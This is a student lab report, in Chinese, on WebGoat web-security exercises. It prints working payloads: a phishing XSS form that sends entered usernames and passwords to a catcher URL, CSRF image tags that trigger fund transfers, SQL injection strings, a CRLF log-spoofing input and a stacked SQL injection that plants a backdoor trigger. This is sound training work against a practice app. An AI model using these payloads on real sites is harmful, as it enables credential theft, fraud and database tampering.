基础问题回答

SQL注入攻击原理,如何防御:

部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;

程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;

XSS攻击的原理,如何防御:

XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;

程序员应该防止下发界面显示html标签,把</>等符号转义。

CSRF攻击原理,如何防御:

即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。

一、打开webgoat

  • (1)输入指令java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar来运行webgoat。

  • (2)在浏览器输入localhost:8080/WebGoat,进入webgoat

二、XSS攻击

  • (1)Phishing with XSS

    在webgoat找到xss攻击打开Phishing with XSS(第一个),在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,完整的XSS攻击代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • (2)点击搜索后会出现登录界面,输入你的用户名和密码,WebGoat会将你输入的信息捕获并反馈给你。

三、Stored XSS Attacks

  • (1)创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,随意在标题栏输入点东西,然后在message中输入一串代码。

  • (2)提交后,提示成功。

四、Reflected XSS Attacks

  • (1)反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在搜索页面。

  • (2)输入错误用户信息后,服务器校验输入有误。

  • (3)这时如果我们将带有攻击性的URL作为输入源,例如依旧输入<script>alert("20145237 attack succeed!");</script>

五、Cross Site Request Forgery(CSRF)

  • (1)写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
  • (2)输入 <img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

六、CSRF Prompt By-Pass

  • (1)这个跟之前的类似,首先输入

    <img src="http://localhost:8080/WebGoat/attack?Screen=238&menu=900&transferFunds=500" width="1" height="1">
  • (2)在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=238&menu=900&transferFunds=CONFIRM

七、Command Injection

  • (1)点击右上角瓢虫图标对源码进行修改,修改后可看到我们修改的内容。

  • (2)点击view,出现网络连接情况。

八、Numeric SQL Injection

  • (1)通过注入SQL字符串的方式查看所有的天气数据,在101旁边加上or 1=1:

  • (2)选择Columbia,单击Go,可以看到所有天气数据:

九、String SQL Injection

  • (1)构造SQL注入字符串,在文本框中输入' or 1=1 --,点击GO,可以查看到所以信息:

十、Log Spoofing

  • (1)我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为admin的用户在日志中显示“成功登录”,在User Name文本框中输入20145237%0d%0aLogin Succeeded for username: admin

十一、.Database Backdoors

  • (1)首先输入101,得到了该用户信息

  • (2)输入注入语句: 101; update employee set salary=88888 ,把该用户的工资调到了88888,进行SQL注入。

  • (3)使用SQL语句在myBackDoor表中添加新用户,我们可以将在用户表里将新用户的邮箱改为题目固定的邮箱。插入两个SQL语句即可:

    101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='5237@dky.com'WHERE userid = NEW.userid;

实验体会

这次实验是我们的最后一次实验,这次实验每一个做起来都不难,主要是让我们在理论的基础上学习各类攻击手段,就是要做很多东西。。。。而且安装和调试环境需要费一番功夫的。

20145237 Exp9 Web安全基础实践的更多相关文章

  1. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  2. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  3. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  4. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  5. 20155204《网络对抗》Exp9 Web安全基础实践

    20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...

  6. 20155210 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

  7. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  8. 20155216 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以 ...

  9. 20155220 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

随机推荐

  1. mac常用操作:

    Mac常用软件需要熟悉 常用操作: command + w 关闭窗口  + n 最小化当前窗口  + m 关闭所有窗口  +  + w command + c 复制 command + v 粘贴 co ...

  2. 特定于类的内存管理---《C++必知必会》 条款36

    我们可以量身定制 operator new 和 operator delete 用于某个类类型,而不是必须使用标准版的 operator new 和 operator delete. 注意:我们不可以 ...

  3. VS2010/MFC编程入门之二十(常用控件:静态文本框)

    上一节鸡啄米讲了颜色对话框之后,关于对话框的使用和各种通用对话框的介绍就到此为止了.从本节开始鸡啄米将讲解各种常用控件的用法.常用控件主要包括:静态文本框.编辑框.单选按钮.复选框.分组框.列表框.组 ...

  4. 20135320赵瀚青LINUX第八周学习笔记

    赵瀚青原创作品转载请注明出处<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 概述 本周学习的是linux ...

  5. 20145311王亦徐 实验三 "敏捷开发与XP实践"

    20145311王亦徐 实验三 "敏捷开发与XP实践"程序设计过程 实验内容 使用 git 上传代码 使用 git 相互更改代码 实现代码的重载 git 上传代码 查看代码是否有修 ...

  6. calcite介绍

    前言 calcite是一个可以将任意数据查询转换成基于sql查询的引擎,引擎特性也有很多,比如支持sql树的解析,udf的扩展,sql执行优化器的扩展等等.目前已经被很多顶级apache项目引用,比如 ...

  7. Github Clone to local files

    cd to you local files address key the word: git clone -0 github https://github.com/xxxxxxxxx Done... ...

  8. (CLR via C#学习笔记)异步操作 - 线程池

    一 线程池基础 1.线程池维护了一个操作请求队列,将请求的操作追加到线程池队列中,线程池的代码从队列中提取操作项,派发给线程池中的线程; 2.CLR初始化时,线程池中是没有线程的,当有操作派发给线程池 ...

  9. shell 判断是否是目录

    创建一个文件和一个文件夹 touch sss mkdir d test.sh #!/bin/bash echo "enter the name:" read filename if ...

  10. c++指向指针的指针与 c++指针作为函数参数传递问题

    一直搞不明白,c++中指针到底是个啥东西,今天遇到到c++,指向指针的指针的问题,突然有点开窍了. 举个例子: int main(int argc, char** argv){ int a[5]={1 ...